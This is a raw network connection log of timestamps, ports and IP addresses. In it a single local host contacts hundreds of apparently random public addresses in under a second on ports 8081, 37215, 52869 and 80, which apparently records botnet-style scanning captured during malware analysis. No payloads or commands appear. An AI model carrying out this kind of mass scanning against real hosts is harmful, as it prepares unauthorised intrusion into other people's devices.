Jul 20, 2024 23:01:01.253262043 CEST	8081	50565	4.72.101.245	192.168.2.13
Jul 20, 2024 23:01:01.253274918 CEST	8081	50565	126.193.97.162	192.168.2.13
Jul 20, 2024 23:01:01.253288031 CEST	8081	50565	40.171.69.57	192.168.2.13
Jul 20, 2024 23:01:01.253298044 CEST	8081	50565	213.17.168.199	192.168.2.13
Jul 20, 2024 23:01:01.253307104 CEST	8081	50565	117.178.213.222	192.168.2.13
Jul 20, 2024 23:01:01.253314972 CEST	8081	50565	20.246.63.49	192.168.2.13
Jul 20, 2024 23:01:01.253323078 CEST	8081	50565	88.245.115.203	192.168.2.13
Jul 20, 2024 23:01:01.253331900 CEST	8081	50565	70.154.3.254	192.168.2.13
Jul 20, 2024 23:01:01.253340006 CEST	8081	50565	216.92.208.128	192.168.2.13
Jul 20, 2024 23:01:01.253349066 CEST	8081	50565	52.61.201.7	192.168.2.13
Jul 20, 2024 23:01:01.253546953 CEST	50565	8081	192.168.2.13	4.72.101.245
Jul 20, 2024 23:01:01.253968000 CEST	50565	8081	192.168.2.13	117.178.213.222
Jul 20, 2024 23:01:01.253968000 CEST	50565	8081	192.168.2.13	88.245.115.203
Jul 20, 2024 23:01:01.253968000 CEST	50565	8081	192.168.2.13	216.92.208.128
Jul 20, 2024 23:01:01.254163980 CEST	50565	8081	192.168.2.13	44.168.123.7
Jul 20, 2024 23:01:01.254163980 CEST	50565	8081	192.168.2.13	40.171.69.57
Jul 20, 2024 23:01:01.254163980 CEST	50565	8081	192.168.2.13	20.246.63.49
Jul 20, 2024 23:01:01.254164934 CEST	50565	8081	192.168.2.13	70.154.3.254
Jul 20, 2024 23:01:01.256390095 CEST	50565	8081	192.168.2.13	220.252.177.128
Jul 20, 2024 23:01:01.256390095 CEST	50565	8081	192.168.2.13	31.142.165.204
Jul 20, 2024 23:01:01.256390095 CEST	50565	8081	192.168.2.13	203.196.151.37
Jul 20, 2024 23:01:01.256390095 CEST	50565	8081	192.168.2.13	96.165.184.212
Jul 20, 2024 23:01:01.256391048 CEST	50565	8081	192.168.2.13	86.38.220.4
Jul 20, 2024 23:01:01.256391048 CEST	50565	8081	192.168.2.13	25.47.242.245
Jul 20, 2024 23:01:01.256391048 CEST	50565	8081	192.168.2.13	119.145.143.16
Jul 20, 2024 23:01:01.256391048 CEST	50565	8081	192.168.2.13	23.188.237.80
Jul 20, 2024 23:01:01.256833076 CEST	8081	50565	164.31.91.12	192.168.2.13
Jul 20, 2024 23:01:01.256843090 CEST	8081	50565	48.209.204.98	192.168.2.13
Jul 20, 2024 23:01:01.256850958 CEST	8081	50565	18.47.221.180	192.168.2.13
Jul 20, 2024 23:01:01.256865978 CEST	8081	50565	95.194.253.159	192.168.2.13
Jul 20, 2024 23:01:01.256930113 CEST	8081	50565	82.251.120.96	192.168.2.13
Jul 20, 2024 23:01:01.256938934 CEST	8081	50565	98.62.5.216	192.168.2.13
Jul 20, 2024 23:01:01.257060051 CEST	8081	50565	148.113.69.3	192.168.2.13
Jul 20, 2024 23:01:01.257069111 CEST	8081	50565	57.140.92.64	192.168.2.13
Jul 20, 2024 23:01:01.257077932 CEST	8081	50565	61.6.149.1	192.168.2.13
Jul 20, 2024 23:01:01.257086992 CEST	8081	50565	219.103.191.52	192.168.2.13
Jul 20, 2024 23:01:01.257087946 CEST	50565	8081	192.168.2.13	98.62.5.216
Jul 20, 2024 23:01:01.257095098 CEST	8081	50565	31.174.218.56	192.168.2.13
Jul 20, 2024 23:01:01.257103920 CEST	8081	50565	58.103.193.255	192.168.2.13
Jul 20, 2024 23:01:01.257319927 CEST	8081	50565	189.110.241.99	192.168.2.13
Jul 20, 2024 23:01:01.257329941 CEST	8081	50565	205.133.211.197	192.168.2.13
Jul 20, 2024 23:01:01.257339001 CEST	8081	50565	186.85.110.222	192.168.2.13
Jul 20, 2024 23:01:01.257348061 CEST	8081	50565	44.132.113.103	192.168.2.13
Jul 20, 2024 23:01:01.257355928 CEST	8081	50565	187.4.28.21	192.168.2.13
Jul 20, 2024 23:01:01.257425070 CEST	33608	8081	192.168.2.13	168.104.48.153
Jul 20, 2024 23:01:01.257425070 CEST	33608	8081	192.168.2.13	168.104.48.153
Jul 20, 2024 23:01:01.257425070 CEST	50565	8081	192.168.2.13	52.150.223.138
Jul 20, 2024 23:01:01.257425070 CEST	50565	8081	192.168.2.13	116.187.8.48
Jul 20, 2024 23:01:01.257425070 CEST	50565	8081	192.168.2.13	31.246.225.37
Jul 20, 2024 23:01:01.257425070 CEST	50565	8081	192.168.2.13	203.185.148.199
Jul 20, 2024 23:01:01.257425070 CEST	50565	8081	192.168.2.13	175.198.119.246
Jul 20, 2024 23:01:01.257425070 CEST	50565	8081	192.168.2.13	191.57.231.39
Jul 20, 2024 23:01:01.257471085 CEST	8081	50565	80.12.31.118	192.168.2.13
Jul 20, 2024 23:01:01.257958889 CEST	8081	50565	166.147.85.201	192.168.2.13
Jul 20, 2024 23:01:01.258022070 CEST	8081	50565	150.212.113.182	192.168.2.13
Jul 20, 2024 23:01:01.258030891 CEST	8081	50565	50.114.233.98	192.168.2.13
Jul 20, 2024 23:01:01.258133888 CEST	8081	50565	59.139.14.249	192.168.2.13
Jul 20, 2024 23:01:01.258143902 CEST	8081	50565	27.117.134.63	192.168.2.13
Jul 20, 2024 23:01:01.258152962 CEST	8081	50565	64.180.15.228	192.168.2.13
Jul 20, 2024 23:01:01.258162022 CEST	8081	50565	89.214.113.239	192.168.2.13
Jul 20, 2024 23:01:01.258172035 CEST	8081	50565	223.38.134.33	192.168.2.13
Jul 20, 2024 23:01:01.258179903 CEST	8081	50565	75.140.52.40	192.168.2.13
Jul 20, 2024 23:01:01.258188963 CEST	8081	50565	133.49.100.149	192.168.2.13
Jul 20, 2024 23:01:01.258197069 CEST	8081	50565	104.0.91.20	192.168.2.13
Jul 20, 2024 23:01:01.258205891 CEST	8081	50565	124.249.151.188	192.168.2.13
Jul 20, 2024 23:01:01.258213997 CEST	8081	50565	86.251.201.159	192.168.2.13
Jul 20, 2024 23:01:01.258223057 CEST	8081	50565	8.37.86.78	192.168.2.13
Jul 20, 2024 23:01:01.258230925 CEST	8081	50565	153.83.170.131	192.168.2.13
Jul 20, 2024 23:01:01.258239985 CEST	8081	50565	196.91.191.64	192.168.2.13
Jul 20, 2024 23:01:01.258248091 CEST	8081	50565	149.198.230.251	192.168.2.13
Jul 20, 2024 23:01:01.258256912 CEST	50565	8081	192.168.2.13	58.103.193.255
Jul 20, 2024 23:01:01.258256912 CEST	50565	8081	192.168.2.13	124.249.151.188
Jul 20, 2024 23:01:01.258258104 CEST	50565	8081	192.168.2.13	8.37.86.78
Jul 20, 2024 23:01:01.258304119 CEST	35290	52869	192.168.2.13	130.147.77.29
Jul 20, 2024 23:01:01.258538008 CEST	8081	50565	129.241.181.92	192.168.2.13
Jul 20, 2024 23:01:01.258547068 CEST	8081	50565	62.143.145.245	192.168.2.13
Jul 20, 2024 23:01:01.258555889 CEST	8081	50565	91.28.60.153	192.168.2.13
Jul 20, 2024 23:01:01.258620977 CEST	8081	50565	8.97.36.223	192.168.2.13
Jul 20, 2024 23:01:01.258630991 CEST	8081	50565	79.38.82.11	192.168.2.13
Jul 20, 2024 23:01:01.258639097 CEST	8081	50565	116.74.250.114	192.168.2.13
Jul 20, 2024 23:01:01.258672953 CEST	50565	8081	192.168.2.13	82.251.120.96
Jul 20, 2024 23:01:01.258672953 CEST	50565	8081	192.168.2.13	57.140.92.64
Jul 20, 2024 23:01:01.258672953 CEST	50565	8081	192.168.2.13	61.6.149.1
Jul 20, 2024 23:01:01.258738041 CEST	34612	37215	192.168.2.13	197.189.139.115
Jul 20, 2024 23:01:01.258781910 CEST	8081	50565	40.189.83.62	192.168.2.13
Jul 20, 2024 23:01:01.258790970 CEST	8081	50565	179.92.19.158	192.168.2.13
Jul 20, 2024 23:01:01.258799076 CEST	8081	50565	59.164.19.139	192.168.2.13
Jul 20, 2024 23:01:01.258807898 CEST	37215	44020	132.227.49.42	192.168.2.13
Jul 20, 2024 23:01:01.259040117 CEST	8081	50565	223.34.104.25	192.168.2.13
Jul 20, 2024 23:01:01.259048939 CEST	8081	50565	202.79.68.79	192.168.2.13
Jul 20, 2024 23:01:01.259179115 CEST	50565	8081	192.168.2.13	169.9.129.90
Jul 20, 2024 23:01:01.259179115 CEST	50565	8081	192.168.2.13	5.183.89.233
Jul 20, 2024 23:01:01.259179115 CEST	50565	8081	192.168.2.13	99.2.213.110
Jul 20, 2024 23:01:01.259179115 CEST	50565	8081	192.168.2.13	53.237.178.131
Jul 20, 2024 23:01:01.259179115 CEST	50565	8081	192.168.2.13	126.193.97.162
Jul 20, 2024 23:01:01.259179115 CEST	50565	8081	192.168.2.13	213.17.168.199
Jul 20, 2024 23:01:01.259179115 CEST	50565	8081	192.168.2.13	18.47.221.180
Jul 20, 2024 23:01:01.259179115 CEST	50565	8081	192.168.2.13	148.113.69.3
Jul 20, 2024 23:01:01.259625912 CEST	8081	50565	169.231.114.77	192.168.2.13
Jul 20, 2024 23:01:01.259933949 CEST	50565	8081	192.168.2.13	196.91.191.64
Jul 20, 2024 23:01:01.259934902 CEST	50565	8081	192.168.2.13	149.198.230.251
Jul 20, 2024 23:01:01.259934902 CEST	50565	8081	192.168.2.13	62.143.145.245
Jul 20, 2024 23:01:01.259934902 CEST	50565	8081	192.168.2.13	59.164.19.139
Jul 20, 2024 23:01:01.259934902 CEST	44020	37215	192.168.2.13	132.227.49.42
Jul 20, 2024 23:01:01.260025024 CEST	50565	8081	192.168.2.13	61.57.65.153
Jul 20, 2024 23:01:01.260025024 CEST	50565	8081	192.168.2.13	165.155.42.174
Jul 20, 2024 23:01:01.260025024 CEST	50565	8081	192.168.2.13	107.162.193.158
Jul 20, 2024 23:01:01.260025024 CEST	57750	80	192.168.2.13	88.155.50.250
Jul 20, 2024 23:01:01.261039019 CEST	50565	8081	192.168.2.13	2.40.205.178
Jul 20, 2024 23:01:01.261039019 CEST	50565	8081	192.168.2.13	197.0.192.50
Jul 20, 2024 23:01:01.261039019 CEST	50565	8081	192.168.2.13	104.126.200.32
Jul 20, 2024 23:01:01.261039019 CEST	50565	8081	192.168.2.13	156.127.68.248
Jul 20, 2024 23:01:01.261039019 CEST	50565	8081	192.168.2.13	71.148.68.212
Jul 20, 2024 23:01:01.261039019 CEST	50565	8081	192.168.2.13	73.101.157.230
Jul 20, 2024 23:01:01.261039019 CEST	50565	8081	192.168.2.13	36.191.147.7
Jul 20, 2024 23:01:01.261039019 CEST	50565	8081	192.168.2.13	121.142.88.80
Jul 20, 2024 23:01:01.261274099 CEST	43078	8081	192.168.2.13	179.214.55.135
Jul 20, 2024 23:01:01.261274099 CEST	43078	8081	192.168.2.13	179.214.55.135
Jul 20, 2024 23:01:01.261274099 CEST	50565	8081	192.168.2.13	48.209.204.98
Jul 20, 2024 23:01:01.261274099 CEST	50565	8081	192.168.2.13	205.133.211.197
Jul 20, 2024 23:01:01.261274099 CEST	50565	8081	192.168.2.13	44.132.113.103
Jul 20, 2024 23:01:01.261274099 CEST	50565	8081	192.168.2.13	150.212.113.182
Jul 20, 2024 23:01:01.261274099 CEST	50565	8081	192.168.2.13	64.180.15.228
Jul 20, 2024 23:01:01.261274099 CEST	50565	8081	192.168.2.13	223.38.134.33
Jul 20, 2024 23:01:01.262038946 CEST	8081	50565	60.4.183.10	192.168.2.13
Jul 20, 2024 23:01:01.262120962 CEST	8081	50565	58.228.34.29	192.168.2.13
Jul 20, 2024 23:01:01.262243032 CEST	43790	8081	192.168.2.13	179.214.55.135
Jul 20, 2024 23:01:01.262896061 CEST	8081	50565	199.207.110.251	192.168.2.13
Jul 20, 2024 23:01:01.263111115 CEST	8081	33608	168.104.48.153	192.168.2.13
Jul 20, 2024 23:01:01.263397932 CEST	8081	34312	168.104.48.153	192.168.2.13
Jul 20, 2024 23:01:01.263477087 CEST	52869	35290	130.147.77.29	192.168.2.13
Jul 20, 2024 23:01:01.263559103 CEST	35290	52869	192.168.2.13	130.147.77.29
Jul 20, 2024 23:01:01.263573885 CEST	50565	8081	192.168.2.13	134.18.5.192
Jul 20, 2024 23:01:01.263573885 CEST	60280	52869	192.168.2.13	126.66.84.101
Jul 20, 2024 23:01:01.263573885 CEST	50565	8081	192.168.2.13	164.31.91.12
Jul 20, 2024 23:01:01.263573885 CEST	50565	8081	192.168.2.13	189.110.241.99
Jul 20, 2024 23:01:01.263573885 CEST	50565	8081	192.168.2.13	59.139.14.249
Jul 20, 2024 23:01:01.263575077 CEST	50565	8081	192.168.2.13	153.83.170.131
Jul 20, 2024 23:01:01.263575077 CEST	50565	8081	192.168.2.13	79.38.82.11
Jul 20, 2024 23:01:01.263575077 CEST	50565	8081	192.168.2.13	179.92.19.158
Jul 20, 2024 23:01:01.264067888 CEST	37215	34612	197.189.139.115	192.168.2.13
Jul 20, 2024 23:01:01.264385939 CEST	50565	8081	192.168.2.13	95.194.253.159
Jul 20, 2024 23:01:01.264385939 CEST	50565	8081	192.168.2.13	219.103.191.52
Jul 20, 2024 23:01:01.264385939 CEST	50565	8081	192.168.2.13	186.85.110.222
Jul 20, 2024 23:01:01.264385939 CEST	50565	8081	192.168.2.13	187.4.28.21
Jul 20, 2024 23:01:01.264386892 CEST	50565	8081	192.168.2.13	80.12.31.118
Jul 20, 2024 23:01:01.264386892 CEST	50565	8081	192.168.2.13	75.140.52.40
Jul 20, 2024 23:01:01.264386892 CEST	50565	8081	192.168.2.13	104.0.91.20
Jul 20, 2024 23:01:01.264386892 CEST	50565	8081	192.168.2.13	86.251.201.159
Jul 20, 2024 23:01:01.265048981 CEST	50565	8081	192.168.2.13	31.174.218.56
Jul 20, 2024 23:01:01.265048981 CEST	50565	8081	192.168.2.13	166.147.85.201
Jul 20, 2024 23:01:01.265048981 CEST	50565	8081	192.168.2.13	133.49.100.149
Jul 20, 2024 23:01:01.265048981 CEST	34312	8081	192.168.2.13	168.104.48.153
Jul 20, 2024 23:01:01.265140057 CEST	34612	37215	192.168.2.13	197.189.139.115
Jul 20, 2024 23:01:01.266643047 CEST	37215	40374	197.186.137.146	192.168.2.13
Jul 20, 2024 23:01:01.266660929 CEST	8081	43078	179.214.55.135	192.168.2.13
Jul 20, 2024 23:01:01.267472982 CEST	50565	8081	192.168.2.13	132.175.173.131
Jul 20, 2024 23:01:01.267472982 CEST	50565	8081	192.168.2.13	54.60.191.144
Jul 20, 2024 23:01:01.267472982 CEST	50565	8081	192.168.2.13	52.61.201.7
Jul 20, 2024 23:01:01.267472982 CEST	50565	8081	192.168.2.13	50.114.233.98
Jul 20, 2024 23:01:01.267472982 CEST	50565	8081	192.168.2.13	27.117.134.63
Jul 20, 2024 23:01:01.267472982 CEST	50565	8081	192.168.2.13	89.214.113.239
Jul 20, 2024 23:01:01.267472982 CEST	50565	8081	192.168.2.13	91.28.60.153
Jul 20, 2024 23:01:01.267472982 CEST	50565	8081	192.168.2.13	8.97.36.223
Jul 20, 2024 23:01:01.268548012 CEST	40664	8081	192.168.2.13	118.88.197.138
Jul 20, 2024 23:01:01.268558025 CEST	8081	43790	179.214.55.135	192.168.2.13
Jul 20, 2024 23:01:01.268596888 CEST	43790	8081	192.168.2.13	179.214.55.135
Jul 20, 2024 23:01:01.268618107 CEST	50565	8081	192.168.2.13	129.241.181.92
Jul 20, 2024 23:01:01.268618107 CEST	50565	8081	192.168.2.13	116.74.250.114
Jul 20, 2024 23:01:01.268640995 CEST	40664	8081	192.168.2.13	118.88.197.138
Jul 20, 2024 23:01:01.269090891 CEST	50565	8081	192.168.2.13	223.34.104.25
Jul 20, 2024 23:01:01.269090891 CEST	50565	8081	192.168.2.13	169.231.114.77
Jul 20, 2024 23:01:01.269090891 CEST	50565	8081	192.168.2.13	199.207.110.251
Jul 20, 2024 23:01:01.269303083 CEST	40374	37215	192.168.2.13	197.186.137.146
Jul 20, 2024 23:01:01.269303083 CEST	49084	52869	192.168.2.13	191.252.251.212
Jul 20, 2024 23:01:01.269927979 CEST	80	57750	88.155.50.250	192.168.2.13
Jul 20, 2024 23:01:01.269993067 CEST	52869	60280	126.66.84.101	192.168.2.13
Jul 20, 2024 23:01:01.270165920 CEST	57750	80	192.168.2.13	88.155.50.250
Jul 20, 2024 23:01:01.270493031 CEST	50565	8081	192.168.2.13	40.189.83.62
Jul 20, 2024 23:01:01.270493031 CEST	50565	8081	192.168.2.13	202.79.68.79
Jul 20, 2024 23:01:01.270493031 CEST	50565	8081	192.168.2.13	60.4.183.10
Jul 20, 2024 23:01:01.270493031 CEST	50565	8081	192.168.2.13	58.228.34.29
Jul 20, 2024 23:01:01.270493031 CEST	35050	37215	192.168.2.13	111.163.203.195
Jul 20, 2024 23:01:01.270755053 CEST	39530	80	192.168.2.13	88.117.77.152
Jul 20, 2024 23:01:01.270818949 CEST	60280	52869	192.168.2.13	126.66.84.101
Jul 20, 2024 23:01:01.273627043 CEST	8081	40664	118.88.197.138	192.168.2.13
Jul 20, 2024 23:01:01.273868084 CEST	33182	52869	192.168.2.13	19.96.215.60
Jul 20, 2024 23:01:01.274313927 CEST	41382	8081	192.168.2.13	118.88.197.138
Jul 20, 2024 23:01:01.274590015 CEST	58204	37215	192.168.2.13	40.45.115.153
Jul 20, 2024 23:01:01.274944067 CEST	52869	49084	191.252.251.212	192.168.2.13
Jul 20, 2024 23:01:01.275038958 CEST	49084	52869	192.168.2.13	191.252.251.212
Jul 20, 2024 23:01:01.276276112 CEST	80	39530	88.117.77.152	192.168.2.13
Jul 20, 2024 23:01:01.276320934 CEST	39530	80	192.168.2.13	88.117.77.152
Jul 20, 2024 23:01:01.276699066 CEST	37215	35050	111.163.203.195	192.168.2.13
Jul 20, 2024 23:01:01.276735067 CEST	35050	37215	192.168.2.13	111.163.203.195
Jul 20, 2024 23:01:01.278811932 CEST	38148	52869	192.168.2.13	78.238.220.249
Jul 20, 2024 23:01:01.279231071 CEST	60368	8081	192.168.2.13	81.48.29.132
Jul 20, 2024 23:01:01.279231071 CEST	60368	8081	192.168.2.13	81.48.29.132
Jul 20, 2024 23:01:01.279370070 CEST	47758	37215	192.168.2.13	157.113.83.79
Jul 20, 2024 23:01:01.279551983 CEST	34808	80	192.168.2.13	88.112.100.222
Jul 20, 2024 23:01:01.279625893 CEST	52869	33182	19.96.215.60	192.168.2.13
Jul 20, 2024 23:01:01.279635906 CEST	8081	41382	118.88.197.138	192.168.2.13
Jul 20, 2024 23:01:01.279644966 CEST	37215	58204	40.45.115.153	192.168.2.13
Jul 20, 2024 23:01:01.279663086 CEST	33182	52869	192.168.2.13	19.96.215.60
Jul 20, 2024 23:01:01.279675961 CEST	58204	37215	192.168.2.13	40.45.115.153
Jul 20, 2024 23:01:01.279942989 CEST	41382	8081	192.168.2.13	118.88.197.138
Jul 20, 2024 23:01:01.282753944 CEST	32858	8081	192.168.2.13	81.48.29.132
Jul 20, 2024 23:01:01.283494949 CEST	43140	52869	192.168.2.13	49.79.222.119
Jul 20, 2024 23:01:01.284209013 CEST	43958	37215	192.168.2.13	41.68.213.107
Jul 20, 2024 23:01:01.284280062 CEST	52869	38148	78.238.220.249	192.168.2.13
Jul 20, 2024 23:01:01.284291029 CEST	8081	60368	81.48.29.132	192.168.2.13
Jul 20, 2024 23:01:01.284348011 CEST	38148	52869	192.168.2.13	78.238.220.249
Jul 20, 2024 23:01:01.284662962 CEST	37215	47758	157.113.83.79	192.168.2.13
Jul 20, 2024 23:01:01.284704924 CEST	47758	37215	192.168.2.13	157.113.83.79
Jul 20, 2024 23:01:01.284791946 CEST	80	34808	88.112.100.222	192.168.2.13
Jul 20, 2024 23:01:01.284828901 CEST	34808	80	192.168.2.13	88.112.100.222
Jul 20, 2024 23:01:01.287230015 CEST	57784	8081	192.168.2.13	47.100.149.89
Jul 20, 2024 23:01:01.287230015 CEST	57784	8081	192.168.2.13	47.100.149.89
Jul 20, 2024 23:01:01.287662983 CEST	51438	80	192.168.2.13	88.207.100.111
Jul 20, 2024 23:01:01.287827015 CEST	8081	32858	81.48.29.132	192.168.2.13
Jul 20, 2024 23:01:01.287861109 CEST	32858	8081	192.168.2.13	81.48.29.132
Jul 20, 2024 23:01:01.288068056 CEST	33150	52869	192.168.2.13	222.97.13.69
Jul 20, 2024 23:01:01.288400888 CEST	59198	37215	192.168.2.13	41.60.18.93
Jul 20, 2024 23:01:01.291415930 CEST	58514	8081	192.168.2.13	47.100.149.89
Jul 20, 2024 23:01:01.292435884 CEST	52869	43140	49.79.222.119	192.168.2.13
Jul 20, 2024 23:01:01.292474985 CEST	37215	43958	41.68.213.107	192.168.2.13
Jul 20, 2024 23:01:01.292478085 CEST	43140	52869	192.168.2.13	49.79.222.119
Jul 20, 2024 23:01:01.292521000 CEST	43958	37215	192.168.2.13	41.68.213.107
Jul 20, 2024 23:01:01.293191910 CEST	51348	37215	192.168.2.13	157.25.228.57
Jul 20, 2024 23:01:01.294096947 CEST	8081	57784	47.100.149.89	192.168.2.13
Jul 20, 2024 23:01:01.294118881 CEST	80	51438	88.207.100.111	192.168.2.13
Jul 20, 2024 23:01:01.294161081 CEST	51438	80	192.168.2.13	88.207.100.111
Jul 20, 2024 23:01:01.294641018 CEST	52869	33150	222.97.13.69	192.168.2.13
Jul 20, 2024 23:01:01.294676065 CEST	33150	52869	192.168.2.13	222.97.13.69
Jul 20, 2024 23:01:01.294806957 CEST	37215	59198	41.60.18.93	192.168.2.13
Jul 20, 2024 23:01:01.294841051 CEST	59198	37215	192.168.2.13	41.60.18.93
Jul 20, 2024 23:01:01.294867039 CEST	47182	8081	192.168.2.13	201.57.117.31
Jul 20, 2024 23:01:01.295130014 CEST	47182	8081	192.168.2.13	201.57.117.31
Jul 20, 2024 23:01:01.295321941 CEST	40168	80	192.168.2.13	88.58.241.41
Jul 20, 2024 23:01:01.296885014 CEST	41644	37215	192.168.2.13	197.214.26.254
Jul 20, 2024 23:01:01.297553062 CEST	47914	8081	192.168.2.13	201.57.117.31
Jul 20, 2024 23:01:01.298047066 CEST	8081	58514	47.100.149.89	192.168.2.13
Jul 20, 2024 23:01:01.298206091 CEST	58514	8081	192.168.2.13	47.100.149.89
Jul 20, 2024 23:01:01.300010920 CEST	37215	51348	157.25.228.57	192.168.2.13
Jul 20, 2024 23:01:01.300192118 CEST	51348	37215	192.168.2.13	157.25.228.57
Jul 20, 2024 23:01:01.300618887 CEST	58604	37215	192.168.2.13	41.236.26.155
Jul 20, 2024 23:01:01.301208019 CEST	39360	8081	192.168.2.13	90.87.93.139
Jul 20, 2024 23:01:01.301208019 CEST	39360	8081	192.168.2.13	90.87.93.139
Jul 20, 2024 23:01:01.301387072 CEST	8081	47182	201.57.117.31	192.168.2.13
Jul 20, 2024 23:01:01.301532984 CEST	80	40168	88.58.241.41	192.168.2.13
Jul 20, 2024 23:01:01.301580906 CEST	40168	80	192.168.2.13	88.58.241.41
Jul 20, 2024 23:01:01.301656961 CEST	55242	80	192.168.2.13	88.108.216.48
Jul 20, 2024 23:01:01.303121090 CEST	37215	41644	197.214.26.254	192.168.2.13
Jul 20, 2024 23:01:01.303158998 CEST	41644	37215	192.168.2.13	197.214.26.254
Jul 20, 2024 23:01:01.304022074 CEST	8081	47914	201.57.117.31	192.168.2.13
Jul 20, 2024 23:01:01.304073095 CEST	47914	8081	192.168.2.13	201.57.117.31
Jul 20, 2024 23:01:01.304096937 CEST	40094	8081	192.168.2.13	90.87.93.139
Jul 20, 2024 23:01:01.304521084 CEST	47188	37215	192.168.2.13	41.74.135.43
Jul 20, 2024 23:01:01.307421923 CEST	37215	58604	41.236.26.155	192.168.2.13
Jul 20, 2024 23:01:01.307548046 CEST	55650	52869	192.168.2.13	75.16.206.108
Jul 20, 2024 23:01:01.307571888 CEST	8081	39360	90.87.93.139	192.168.2.13
Jul 20, 2024 23:01:01.307627916 CEST	58604	37215	192.168.2.13	41.236.26.155
Jul 20, 2024 23:01:01.308074951 CEST	39818	8081	192.168.2.13	109.42.180.137
Jul 20, 2024 23:01:01.308074951 CEST	39818	8081	192.168.2.13	109.42.180.137
Jul 20, 2024 23:01:01.308249950 CEST	43210	37215	192.168.2.13	157.69.83.103
Jul 20, 2024 23:01:01.308448076 CEST	80	55242	88.108.216.48	192.168.2.13
Jul 20, 2024 23:01:01.308479071 CEST	55242	80	192.168.2.13	88.108.216.48
Jul 20, 2024 23:01:01.308655024 CEST	55304	80	192.168.2.13	88.87.72.63
Jul 20, 2024 23:01:01.310513020 CEST	40556	8081	192.168.2.13	109.42.180.137
Jul 20, 2024 23:01:01.310889006 CEST	8081	40094	90.87.93.139	192.168.2.13
Jul 20, 2024 23:01:01.310924053 CEST	40094	8081	192.168.2.13	90.87.93.139
Jul 20, 2024 23:01:01.311211109 CEST	37215	47188	41.74.135.43	192.168.2.13
Jul 20, 2024 23:01:01.311575890 CEST	47188	37215	192.168.2.13	41.74.135.43
Jul 20, 2024 23:01:01.311928034 CEST	34758	37215	192.168.2.13	41.120.70.192
Jul 20, 2024 23:01:01.313983917 CEST	8081	43078	179.214.55.135	192.168.2.13
Jul 20, 2024 23:01:01.313993931 CEST	8081	33608	168.104.48.153	192.168.2.13
Jul 20, 2024 23:01:01.314002037 CEST	52869	55650	75.16.206.108	192.168.2.13
Jul 20, 2024 23:01:01.314042091 CEST	55650	52869	192.168.2.13	75.16.206.108
Jul 20, 2024 23:01:01.314312935 CEST	58142	52869	192.168.2.13	9.231.7.210
Jul 20, 2024 23:01:01.314325094 CEST	8081	39818	109.42.180.137	192.168.2.13
Jul 20, 2024 23:01:01.314923048 CEST	54064	8081	192.168.2.13	108.34.97.187
Jul 20, 2024 23:01:01.314923048 CEST	54064	8081	192.168.2.13	108.34.97.187
Jul 20, 2024 23:01:01.315494061 CEST	37215	43210	157.69.83.103	192.168.2.13
Jul 20, 2024 23:01:01.315576077 CEST	35054	80	192.168.2.13	88.184.119.151
Jul 20, 2024 23:01:01.315666914 CEST	43210	37215	192.168.2.13	157.69.83.103
Jul 20, 2024 23:01:01.315860987 CEST	80	55304	88.87.72.63	192.168.2.13
Jul 20, 2024 23:01:01.315896034 CEST	55304	80	192.168.2.13	88.87.72.63
Jul 20, 2024 23:01:01.316041946 CEST	44092	37215	192.168.2.13	197.206.209.177
Jul 20, 2024 23:01:01.317023993 CEST	8081	40556	109.42.180.137	192.168.2.13
Jul 20, 2024 23:01:01.317051888 CEST	40556	8081	192.168.2.13	109.42.180.137
Jul 20, 2024 23:01:01.317908049 CEST	54808	8081	192.168.2.13	108.34.97.187
Jul 20, 2024 23:01:01.319051027 CEST	37215	34758	41.120.70.192	192.168.2.13
Jul 20, 2024 23:01:01.319370031 CEST	52869	58142	9.231.7.210	192.168.2.13
Jul 20, 2024 23:01:01.319952011 CEST	34758	37215	192.168.2.13	41.120.70.192
Jul 20, 2024 23:01:01.320040941 CEST	8081	54064	108.34.97.187	192.168.2.13
Jul 20, 2024 23:01:01.320259094 CEST	52190	37215	192.168.2.13	157.45.209.254
Jul 20, 2024 23:01:01.320452929 CEST	58142	52869	192.168.2.13	9.231.7.210
Jul 20, 2024 23:01:01.321285963 CEST	44894	52869	192.168.2.13	210.242.150.143
Jul 20, 2024 23:01:01.321827888 CEST	37994	8081	192.168.2.13	168.216.127.173
Jul 20, 2024 23:01:01.321827888 CEST	37994	8081	192.168.2.13	168.216.127.173
Jul 20, 2024 23:01:01.322349072 CEST	33598	80	192.168.2.13	88.92.241.198
Jul 20, 2024 23:01:01.322940111 CEST	80	35054	88.184.119.151	192.168.2.13
Jul 20, 2024 23:01:01.322949886 CEST	8081	40664	118.88.197.138	192.168.2.13
Jul 20, 2024 23:01:01.322984934 CEST	35054	80	192.168.2.13	88.184.119.151
Jul 20, 2024 23:01:01.324017048 CEST	41164	37215	192.168.2.13	41.204.18.19
Jul 20, 2024 23:01:01.324119091 CEST	37215	44092	197.206.209.177	192.168.2.13
Jul 20, 2024 23:01:01.324156046 CEST	44092	37215	192.168.2.13	197.206.209.177
Jul 20, 2024 23:01:01.324398994 CEST	8081	54808	108.34.97.187	192.168.2.13
Jul 20, 2024 23:01:01.324434042 CEST	54808	8081	192.168.2.13	108.34.97.187
Jul 20, 2024 23:01:01.324736118 CEST	38744	8081	192.168.2.13	168.216.127.173
Jul 20, 2024 23:01:01.325309992 CEST	8081	60368	81.48.29.132	192.168.2.13
Jul 20, 2024 23:01:01.325484037 CEST	37215	52190	157.45.209.254	192.168.2.13
Jul 20, 2024 23:01:01.325521946 CEST	52190	37215	192.168.2.13	157.45.209.254
Jul 20, 2024 23:01:01.326519966 CEST	52869	44894	210.242.150.143	192.168.2.13
Jul 20, 2024 23:01:01.326663017 CEST	8081	37994	168.216.127.173	192.168.2.13
Jul 20, 2024 23:01:01.326921940 CEST	44894	52869	192.168.2.13	210.242.150.143
Jul 20, 2024 23:01:01.327764034 CEST	33886	37215	192.168.2.13	41.157.87.9
Jul 20, 2024 23:01:01.327785969 CEST	80	33598	88.92.241.198	192.168.2.13
Jul 20, 2024 23:01:01.327904940 CEST	54888	52869	192.168.2.13	216.1.152.81
Jul 20, 2024 23:01:01.328073025 CEST	33598	80	192.168.2.13	88.92.241.198
Jul 20, 2024 23:01:01.328398943 CEST	38086	8081	192.168.2.13	27.254.224.242
Jul 20, 2024 23:01:01.328481913 CEST	38086	8081	192.168.2.13	27.254.224.242
Jul 20, 2024 23:01:01.329072952 CEST	57876	80	192.168.2.13	88.120.8.20
Jul 20, 2024 23:01:01.329134941 CEST	37215	41164	41.204.18.19	192.168.2.13
Jul 20, 2024 23:01:01.329282045 CEST	41164	37215	192.168.2.13	41.204.18.19
Jul 20, 2024 23:01:01.330071926 CEST	8081	38744	168.216.127.173	192.168.2.13
